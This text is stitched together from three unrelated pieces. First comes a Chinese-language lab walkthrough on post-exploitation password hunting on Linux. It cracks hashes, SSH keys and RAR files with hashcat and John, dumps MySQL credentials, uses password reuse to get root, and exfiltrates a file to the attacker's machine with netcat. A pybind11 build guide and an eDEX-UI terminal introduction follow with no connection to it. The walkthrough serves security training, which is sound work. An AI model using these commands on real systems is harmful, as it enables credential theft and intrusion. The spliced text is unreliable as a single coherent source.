为了准备破解这个哈希,我们可以复制 passwd.dav 文件的内容(不包含用户名和冒号)并将其粘贴到攻击者机器上的 TXT 文件中。

完成后,我们可以使用 hashcat 的以下命令来查找此类哈希对应的破解模式:

hashcat -h | grep -i '$apr'

我们发现此哈希类型的破解模式是 1600,可以将其插入以下命令以开始破解此哈希。

hashcat -m 1600 ./webdav.hash /usr/share/wordlists/rockyou.txt -o cracked.dav

仅一秒钟,哈希就被成功破解!

检查输出文件
cracked.dav
,我们可以看到我们已经成功恢复密码。

devops : DeVeLoPeR712

现在我们已经找到了系统中的一组有效凭据,就可以尝试使用
su
进入该用户,让我们更接近 root 身份。

3、密码搜寻 – 隐藏文件/文件夹

任何目录内都可能存在隐藏的文件或文件夹,但如果您不查找它们,就不会看到它们。

在类 Unix 系统上,隐藏文件和文件夹都以句点开头,如 .bash_history 文件或 .ssh 文件夹。

要查找隐藏的文件或文件夹,我们可以使用 ls 命令的 “-a” 参数,如下所示:

ls -la

我们应该养成 在使用 ls 命令时始终添加 -a 参数的习惯,如此,便不会在枚举过程中错过任何有趣的文件或文件夹。

3.1、隐藏文件/文件夹中的密码

在受害者机器上找到立足点后,我们首先要查找的是文件系统根目录下的任何非标准和/或隐藏文件/文件夹。

ls -la /

这里我们可以看到文件系统根目录中有两个非标准文件夹,其中一个是隐藏文件夹:
.important

share 目录是另一个非标准目录,它是另一篇文章的一部分,该文章展示了如何从 NFS 共享提升权限。

由于
.important
目录是隐藏的且由当前用户拥有,因此这是一个值得仔细研究的有趣目录。

导航到隐藏目录并再次使用
ls -la
命令,我们可以看到有一个名为
.password
的隐藏文件;在里面,我们找到另一个可以添加到密码文件本中的密码。

Password123!

我们应该始终记得在文件系统根目录下寻找非标准目录;不过,有两个已知的隐藏文件/文件夹存在于每个用户的主目录中,它们是 .bash_history 文件和 .ssh 文件夹。.bash_history 文件存在于每个用户的主目录中,但 .ssh 文件夹只有在用户拥有 SSH 密钥时才会存在。

3.2、Bash 历史文件中的密码

.bash_history 文件是一个存储用户在命令提示符下输入的命令历史记录的文件,用于查看已执行过的旧命令。用户当前会话会将命令历史保存到内存中,可以使用历史命令查看。但一旦用户注销,内存中的命令就会保存到 .bash_history 文件中。

当我们在目标上站稳脚跟后,我们要做的事情之一就是列举系统中拥有 home 配置文件的用户数量,以及在我们找到的所有配置文件中,有多少我们可以查看的 bash 历史文件。

该系统有三个用户配置文件:
cain、devops、juggernaut

检查了三个 home 配置文件后,我们发现无法查看 devops 用户的 .bash_history 文件;但是,我们可以查看当前用户 cain 和 juggernaut 的!

尝试查看每个用户的 bash 历史文件的内容时,我们在自己的文件中没有发现太多值得关注的内容,但是在 juggernaut 里发现了一些有趣的东西。

命令历史记录告诉我们,用户尝试通过在命令行上直接传递 root 凭据来登录 MySQL 服务器。

由于我们已经在 config.php 文件中找到了这些凭据,因此我们知道这些凭据可以让我们进入 MySQL 服务器,在那里我们可以枚举出更多密码哈希值!

3.3、SSH 密钥密码

当我们枚举不同的用户配置文件时,我们可能会遇到一个包含 SSH 密钥的隐藏文件夹!这通常名为
.ssh
,可以使用
ls-la
找到。

检查 juggernaut 的 home 文件夹,我们发现有一个 .ssh 目录,里面存在一个 id_rsa 文件并且我们有读取权限!

id_rsa 文件是一个私钥,可用于在不知道用户密码的情况下登录 SSH,但前提是在创建密钥时没有设置密码。就进入系统而言,此文件本质上相当于密码。

由于我们有此文件的读取权限,因此可以使用 cat 命令显示文件的内容,然后将其完整复制到攻击机器。

在我们的攻击者机器上

Perfect!我们已将 juggernaut 的密钥复制到攻击者的机器上,现在可以使用它登录了。在登录之前,我们还需要将私钥文件的权限设置为
600

如果不将权限设置为 600,私钥将无法使用。因为 ssh 限定必须如此,以此来提高该文件的安全性。

不幸的是,当我们尝试登录时,系统提示我们输入私钥的密码。这意味着在最开始创建私钥文件时确实设置了密码。

chmod 600 juggernaut_id_rsa

ssh -i ./juggernaut_id_rsa juggernaut@172.16.1.175

幸运的是,我们可以使用一个工具将密钥转换为可破解的 hash 格式,然后尝试使用
John
来破解它。

3.3.1、使用 John 破解 SSH 密钥密码

对于大多数受密码保护的文件类型,John 拥有不同的工具可用于将特定文件类型转换为可破解的格式。这些工具都名为
xxx2john
,可以使用以下命令在攻击者机器上找到整个列表:

locate *2john

使用上述命令,您将看到有很多文件类型可以用 John 破解,其中也包括 “SSH” 文件格式。

由于我们要破解的是 SSH 密钥,因此可以使用
ssh2john
将私钥文件转换为可破解格式。

ssh2john juggernaut_id_rsa > jugg.john

将输出重定向到文件后,我们可以看到文件已被格式化,以便破解。现在我们可以尝试使用 John 和 rockyou.txt 单词表来破解密码。

john jugg.john --wordlist=/usr/share/wordlists/rockyou.txt

一瞬间,John 就破解了密码:
P@ssw0rd

现在我们可以使用该密码尝试通过 SSH 登录受害者。

Amazing!我们成功了!

在以新用户身份站稳脚跟后,我们需要再次开始手动枚举,首先要运行的命令之一是 sudo -l,以查看该用户是否有能力以 root 用户身份运行任何程序。

当我们运行
sudo -l
时,系统会提示我们输入密码。由于密码重用非常常见,因此我们可以测试用户在其 SSH 密钥上设置的密码。如果幸运的话,他们在制作密钥时会重用他们实际的登录密码。

输入 “P@ssw0rd” 作为密码,我们可以看到用户确实重复使用了他们的密码,而且我们拥有了完全的 sudo 访问权限!

看到
(ALL) ALL
意味着通过该用户,我们拥有完全的 root 访问权限!要提升为 root 用户,我们只需运行 sudo su - 就可以了。

BOOM!由于密码重复使用,升级将变得微不足道!

您可能已经注意到,第二次运行 sudo 时没有提示我输入密码。这是因为默认情况下,sudo 仅在 5 分钟不活动后才会提示您输入密码。每次运行 sudo 时,它都会重置 5 分钟计时器,并允许使用 sudo 而无需再次输入密码。

4、密码搜寻 – MySQL

之前我们在位于 webroot (/var/www) 的
config.php
文件中找到了 MySQL 的 root 凭据,同时也在
juggernaut
用户的
.bash_history
文件中找到了相同的凭据。

让我们登入 MySQL 并枚举数据库和表,如果幸运的话,我们可能会找到 Web 应用程序以及 MySQL 自身的用户名和密码。

mysql -u root -p

Awesome!我们已进入了 MySQL,现在可以开始枚举数据库了。

show databases;

前四个数据库是默认内置的数据库,在这四个数据库当中,我们最感兴趣的是 mysql 数据库,因为这个数据库包含了可以让我们进入 MySQL 的登录凭据。

除了默认数据库之外,我们始终应该对自定义数据库感兴趣,因为自定义数据库通常会与 Web 应用程序相关联。如果我们在这里找到一些密码哈希值,也许就能破解它们,并利用它们来增加我们的访问权限。

4.1、内置数据库中的密码哈希值 – MySQL

在 mysql 数据库中,我们可以使用 use 命令切换当前使用的数据库,然后使用 show 命令查看所有表,其中最令人感兴趣的是该数据库中的用户表。

use mysql;
show tables;

现在我们知道要查看哪个表了,可以使用以下命令转储所有行和列:

select * from user;

这里有两个哈希值。不过,root 哈希值是我们用来进入 MySQL 的密码的哈希值,这是因为
数据库 mysql
保存着 MySQL 服务运行相关的状态、用户等信息。我们可以使用以下命令检查密码是否相同:

select password('SuperS3cureP@ssw0rd');

此命令会将传递的字符串转换为哈希值。可以看到,user 表中 root 用户的密码哈希与我们用于登录 MySQL 的密码的哈希是相同的。但是,我们找到的 dev 用户的哈希是唯一的,因此我们可以将此哈希复制到攻击者机器上的 TXT 文件中,然后使用 hashcat 对其进行破解。

4.1.1、使用 Hashcat 破解 mysql 哈希

当我们把这个哈希值复制到攻击者的机器上时,我们需要把前面的 "*"去掉,就像这样:

echo 'D37C49F9CBEFBF8B6F4B165AC703AA271E079004' > mysql.hash

现在,当前目录中有一个名为
mysql.hash
的文件,我们可以将其传递给
hashcat
来破解此哈希。开始破解之前,我们需要使用以下命令找到此哈希类型的破解模式:

hashcat -h | grep -i 'mysql'

Perfect!在这里我们可以看到需要使用的破解模式是 300,剩下要做的就是把它们组合在一起然后破解这个哈希。

hashcat -m 300 ./mysql.hash /usr/share/wordlists/rockyou.txt -o cracked.txt

一秒钟,我们就破解了哈希!现在我们需要从输出结果的
cracked.txt
文件中查看密码。

就这样,我们的密码本中又新增了一个新密码:
letmein

4.2、自建数据库中的密码哈希值 – MD5

现在我们将注意力转向自定义数据库
web_app
数据库。

use web_app;
show tables;

在这里我们注意到有两个表引起了我们的兴趣:
users、passwd
,让我们先转储 users 表。

select * from users;

该表有两个用户名和密码哈希值。由于该数据库与网络应用程序绑定,因此破解这些哈希值很可能会让我们以不同用户的身份登录 Web 应用程序。但这也在意料之中,因为密码的重复使用,我们还可以测试其他地方。

我们可以将这些哈希带到攻击者机器上,就像我们对找到的
mysql
数据库凭据所做的那样,然后使用
hashcat
破解它们。但是,这些哈希与 Web 应用程序相关,而 Web 应用程序通常会使用某种哈希算法来存储密码。但目前,我们还不知道这些哈希是什么类型的。

4.2.1、使用 Hashcat 破解 md5 哈希

我们要做的第一件事是确定这些哈希的类型。我们可以使用内置在 kali 中的一款名为
hash-identifier
的出色工具来做到这一点。

执行命令
hash-idenfier
后,我们可以将其中一个哈希粘贴到
HASH:
字段中,然后它将尝试确定这是什么类型的哈希。

这里我们可以看到可能的哈希值为
MD5

MD4 域缓存凭证
。由于这不是 Windows 机器,因此可以肯定这些是
MD5

现在我们知道了哈希类型,我们需要获取这两个哈希并将它们添加到攻击者机器上的 TXT 文件中,然后继续破解它们。

hashcat -h | grep -i 'md5'

在检查破解模式时,我们看到很多结果都是 MD5,但这是一个原始 MD5 哈希值,因此我们需要使用破解模式
0

hashcat -m 0 ./webapp.hash /usr/share/wordlists/rockyou.txt -o webapp_cracked.txt

瞬间,哈希值就被成功破解(0 秒)。然后,检查密码文件,我们发现
devops
用户的密码与我们之前找到的密码相同,但
admin
用户的密码是新密码!

好的,现在我们需要检查我们发现的另一个有趣的表 – “passwd”表。

4.3、自建数据库中的密码哈希 – Base64

就像我们已经做的那样,我们可以再次使用以下命令快速转储该表的所有行和列:

select * from passwd;

看起来我们找到了另外一个 root 密码,但从末尾的等号来看,它可能是
base64
编码的。

SXNoYWxsbjB0YmVjcmFja2VkIQo=

然而,当我们尝试直接使用它以 root 身份登录时,却失败了!

由于这不起作用,我们应该尝试进行 base64 解码。

经常会发现经 base64 编码后的字符串是以一个或两个等号结尾,但情况并非总是如此。因此,当您发现任何主要由大写和小写字母组成的有趣字符串时,请首先检查它是否是 base64 编码的。

echo 'SXNoYWxsbjB0YmVjcmFja2VkIQo=' | base64 --decode

Amazing!该字符串经过 base64 解码后变为:
Ishalln0tbecracked!

一个好建议是将 base64 字符串和我们解码的实际密码都添加到密码文件中,因为这样会增加破解密码的可能性。

当我们测试解码后的密码时,就可以以 root 身份登录!

5、密码搜寻 – /var/backups 文件夹

/var/backups
文件夹一般用于存储一些自动备份,例如
passwd

shadow
文件的备份。但是,默认备份文件将具有一组受限制的权限,就像实际文件一样。

本质上,我们正在寻找以下两种场景之一:

  1. 备份文件夹中的文件具有弱权限,允许我们读取本不应该读取的文件。
  2. 文件夹中有我们可以读取的自定义文件。

对于这个例子,我们将介绍场景 2。

导航到该文件夹,我们可以使用
ls -la
查看所有文件,包括任何隐藏文件。

我们可以看到所有默认文件(如
passwd

shadow
备份)都被锁定并归 root 所有(即只有 root 有权查看)。但是,我们可以看到这里有一个 db 文件,这种类型的文件通常是由
Sqlite3
构建的包含表、列和行的数据库。

如果我们尝试简单地 cat 此文件,我们将看到一堆乱码 – 就像用 cat 查看二进制文件一样。

但是,与二进制文件类似,我们可以使用
strings
命令从文件中提取字符串。

strings ./pwds.db

在这里我们可以看到三个哈希值,其中有两个是唯一的一个是重复的,我们可以将其复制到攻击者的机器上并使用 hashcat 进行破解。这些哈希似乎也是来自 “$6” 的 unix OS 哈希值,这也是我们在
shadow
文件中经常看到的。

5.1、使用 Hashcat 破解 shadow 哈希

由于我们只关心哈希本身,因此我们只需要从
$6$
复制到 SHA-512 字符串的末尾。将两者复制到攻击者的机器后,它应该如下所示:

就像以前一样,我们首先搜索破解模式,然后我们就可以继续破解哈希。

hashcat -h | grep -i '$6'

这里告诉我们这是一个 SHA-512 Unix OS 哈希,当我们看到它们看起来像影子文件哈希时,我们已经预料到了 – 因为它们就是!

由于 Unix SHA-512 哈希值相当不错,因此需要几个小时才能跑完整个
rockyou.txt
文件。因此,我们可以使用较精简版本的
rockyou
来加快速度。如果不成功,我们可以找一个更大一些的单词表。

您可以从
SecLists
中获得一些 rockyou 的精简版本,以及更多优秀的单词表。

hashcat -m 1800 ./shadow.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -o shadow.cracked

在一分钟的时间内,hashcat 针对两个哈希值跑完了整个单词列表,但只恢复了一个。

此时,我们可以用找到的这个密码进行尝试来增加我们的访问权限。并且,我们还可以使用更长字典来对第二个哈希重新运行 hashcat。但是,我们已经找到了这个密码,所以让我们继续吧!

6、密码搜寻 – 受密码保护的文件

对于我们的最后一个手动示例,我们将研究在枚举过程中可能值得仔细检查的有趣文件类型,这包括
PDF、RAR、ZIP、7z
等文件。当然,这些文件可能受密码保护。

由于密码重用是一个反复出现的问题,因此通常会发现用于保护文件的密码通常与用户登录时使用的密码相同。

假设在目标机器站稳脚跟后,我们检查公共文件夹中是否存在有趣的文件。当我们检查
/opt
文件夹时,我们发现其中有一个名为 backup.rar 的有趣 RAR 文件 ,该文件属于 devops 用户。

由于这是一个备份文件,因此我们应该考虑将此文件下载到我们的攻击者机器上用以仔细查看。为此,我们可以使用
netcat

首先,我们需要在攻击者的机器上设置一个监听器来获取文件。

nc -nvlp 443 > backup.rar

运行该程序后,我们在受害者机器上运行以下命令,将 backup.rar 文件提供给攻击者机器:

nc 172.16.1.30 443 < /opt/backup.rar

当我们检查攻击者的机器时,我们可以看到文件已完整发送(396 字节)。

现在该文件已提供给我们的攻击者机器,我们可以尝试使用
unrar
命令和
“e”
选项来提取它。

unrar e ./backup.rar

但是解压失败了,因为需要密码才能解压!

6.1、使用 John 破解 RAR 文件密码

由于我们尝试破解的是 RAR 文件,因此我们可以使用
rar2john
将 RAR 文件转换为可破解的格式。

rar2john ./backup.rar > john_rar

将输出重定向到文件后,我们现在可以尝试使用 John 和 rockyou.txt 单词表来破解密码。

john john_rar --wordlist=/usr/share/wordlists/rockyou.txt

不到一分钟,john 就破解了密码:
DeVeLoPeR712

现在我们可以使用此密码解压 RAR 文件并查看里面的内容了。

成功了!我们解压了三个文件:container_info.txt、ubuntu_config.txt 和 devops.txt。不过,在检查了这三个文件的内容后,我们并没有发现什么有趣的东西。

我们可以看到有提示表明该文件属于
devops
用户,并且我们已经看到
DeVeLoPeR712
与该用户登录系统时使用的密码相同。

7、自动工具寻找密码 – LinPEAS

最后,我们来到了工具部分!在这里,我们将看到 LinPEAS 究竟为我们枚举了多少我们手动找到的东西。

关于 LinPEAS 工具的传输部分此处省略。

执行命令
./linpeash.sh
后会输出很多枚举内容,要查找密码相关的信息,我们需要向下滚动到
Interesting Files
部分,有时还需要查看
Software Information
部分。

首先,让我们看看 LinPEAS 是如何处理文件和文件名中的密码搜索。

我们可以看到 LinPEAS 的搜索非常有针对性,因此输出结果并不多。对于文件名中有趣的字符串,LinPEAS 只有以下子部分:
Searching
password
or
credential
files in home (limit 70)

。虽然它说的是“在 home 目录中”,但它实际上会检查整个文件系统。遗憾的是,70 的限制有助于减少输出结果,但它也遗漏了许多潜在的可能。

文件内容中的字符串搜索也非常有针对性,例如它在日志文件、配置 PHP 文件以及其他一些文件中搜索密码。

对于 LinPEAS 示例的其余部分,我们将查看它能够找到多少与我们找到的相同的文件。

  • Config.php?
    – 找到了!且提取了密码的内容。

  • passwd.dav?
    – 未找到!
  • 隐藏文件和文件夹:/.important/.password?
    – 找到了!但未提取内容。

  • .bash_history 文件?
    – 找到了!但不会提取内容。
  • .ssh 文件夹和 SSH 密钥?
    – 找到了!但不会提取内容。

  • MySQL 中的哈希值?
    – 未找到!因为 mysql 登录需要账户密码,LinPEAS 无法访问数据库。(若登录密码为空,说不定能列出哈希值)
  • pwds.db?
    – 找到了!且提取了哈希的内容。在这里我们可以看到它只在文件中提取了一个哈希,但这足以让我们知道,我们可以进一步手动探索它。

  • backup.rar?
    – 找到了!

还不错!LinPEAS 能够枚举出我们能够发现的大多数包含密码的文件,甚至从其中一些文件中提取了密码和哈希值。然而,这些结果同时也告诉我们,虽然 LinPEAS 非常出色,但没有什么比人工枚举更有效了(因为 LinPEAS 同时也枚举出了很多干扰文件)。

使用pybind11的CMake模板来创建拓展环境搭建

从Github上下载
cmake_example
的模板,切换分支,并升级pybind11子模块到最新版本

拉取
pybind11
使用
cmake
构建工具的模板仓库

git clone --recursive https://github.com/mrchipset/cmake_example.git

切换分支

git checkout -b dev

升级submodule并切换到最新的v2.11.0版本

git submodule update --remote
cd pybind11
git checkout v2.11.0

为了不破坏原有的
python
环境,我们新建一个虚拟的
python
环境,并切换到虚拟环境中进行实验

python3 -m venv venv
source venv/bin/activate

使用
pip
进行编译和构建,确保正确安装了
cmake

C++
的编译工具链

pip install ./cmake_example

apl6QqY15fgkrzs4aMd3dd5s4N4_pP6iuqlKRIclbmQ.png

安装成功后就赶进在
python
中导入包试试吧

(venv) mrchip@ubuntu22:~/src/demo/cmake_example$ python
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import cmake_example
>>> cmake_example.__version__
'0.0.1'
>>> dir(cmake_example)
['__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '__version__', 'add', 'subtract']
>>> cmake_example.add(1, 2)
3
>>> cmake_example.subtract(1, 4)
-3
>>>

如果到这里都完成了,那么整明我们的
pybind11
开发环境已经搭建完成了,下一期我们将深入这个模板工程来了解一些pybind11构建拓展的基本操作流程

踩坑记录

如果直接cmake configure不过,那么需要检查是否安装了python的开发库其中包含了python头文件和链接库

sudo apt install python3-dev libpython3-dev

如果无法创建python虚拟环境,安装这个模块

sudo apt install python3-venv

如果没有安装编译环境那么可以先安装cmake和gcc等工具链

sudo apt install cmake build-essential gdb


eDEX-UI,不仅是一款全屏幕、跨平台的终端模拟器和系统监视器,更是一件被封存的艺术品,让你尽情沉浸于科幻般的装逼幻想之中。它的界面设计独特,仿佛来自未来世界,让你仿佛置身于科幻电影中。

玩一两次还行,多了就不好玩了

eDEX-UI主要亮点:

  • 科幻感的外观
  • 跨平台
  • 自定义主题选项
  • 支持多个终端标签
  • Windows平板不用费劲巴拉的扒拉软键盘了

优点:

  • 功能齐全的终端仿真器,包括选项卡、颜色、鼠标事件。
  • 支持类似 curses 和 curses 的应用程序。
  • 实时监控系统(CPU、RAM、交换、进程)。
  • 支持主题、屏幕键盘布局、CSS 注入等高级自定义。
  • 支持触摸屏,包括屏幕键盘。
  • 实时监控网络(GeoIP、活动连接、传输速率)。
  • 遵循终端 CWD(当前工作目录)的目录查看器。
  • 提供多种音效,营造好莱坞黑客氛围。

软件简介

eDEX-UI,一款惊艳的跨平台全屏终端工具,无论是Windows、macOS还是Linux系统,它都能轻松驾驭。启动动画令人眼前一亮,音效震撼人心,完美融合科技与艺术。这款工具不仅能展示系统资源信息、网络信息,还能动态呈现文件夹内容、键盘状态,无论是日常使用还是电影拍摄,都是绝佳的选择。

安装

Github项目开源地址:
https://github.com/GitSquared/edex-ui/
Github项目下载地址:
https://github.com/GitSquared/edex-ui/releases

image

Linux

下载程序包
https://github.com/GitSquared/edex-ui/releases/download/v2.2.8/eDEX-UI-Linux-x86_64.AppImage

需要桌面环境运行

#安装依赖,解决 dlopen(),error loading libfuse.so.2 报错
[root@localhost ~]# yum install fuse
# 将 eDEX-UI-Linux-x86_64.AppImage 传到 /opt 目录下
[root@localhost opt]# chmod -R 755 eDEX-UI-Linux-x86_64.AppImage
[root@localhost opt]# ./eDEX-UI-Linux-x86_64.AppImage
[9929:0717/142157.697919:FATAL:electron_main_delegate.cc(252)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.
Trace/breakpoint trap(吐核)
[root@localhost opt]#

Windows

下载地址:
https://www.vipsoft.com.cn/eDEX-UI.exe
GitHub下载地址:
https://github.com/GitSquared/edex-ui/releases/download/v2.2.8/eDEX-UI-Windows-x64.exe
image
image
image

效果

image

更换皮肤

image

  1. 在eDEX-UI主页“左下角”点击“settings.json”
  2. 在“theme”一行自选
  3. 点击下“Save to Disk”和“Reload UI”, 应用成功
    image

matrix

image

Tron-disrupted

image

退出

在终端输入
exit
命令,敲回车即可退出。
image

常见问题解答

  • 网络监控总显示 OFFLINE?
    有三种情况可能导致这种现象,可通过在设置中手动指定网络接口和修改用于网络延时测试的 IP 地址解决

  • 能否关闭键盘显示、文件系统显示?
    修改软件主题为 tron-notype 可以隐藏,但无法禁用。

尽管eDEX-UI的仓库已于2021年被作者封存,但它在Github上仍然拥有高达38.3k的Star,足以证明它的受欢迎程度。即使无法再进行更新和维护,这款艺术品依然能为你带来震撼的科幻体验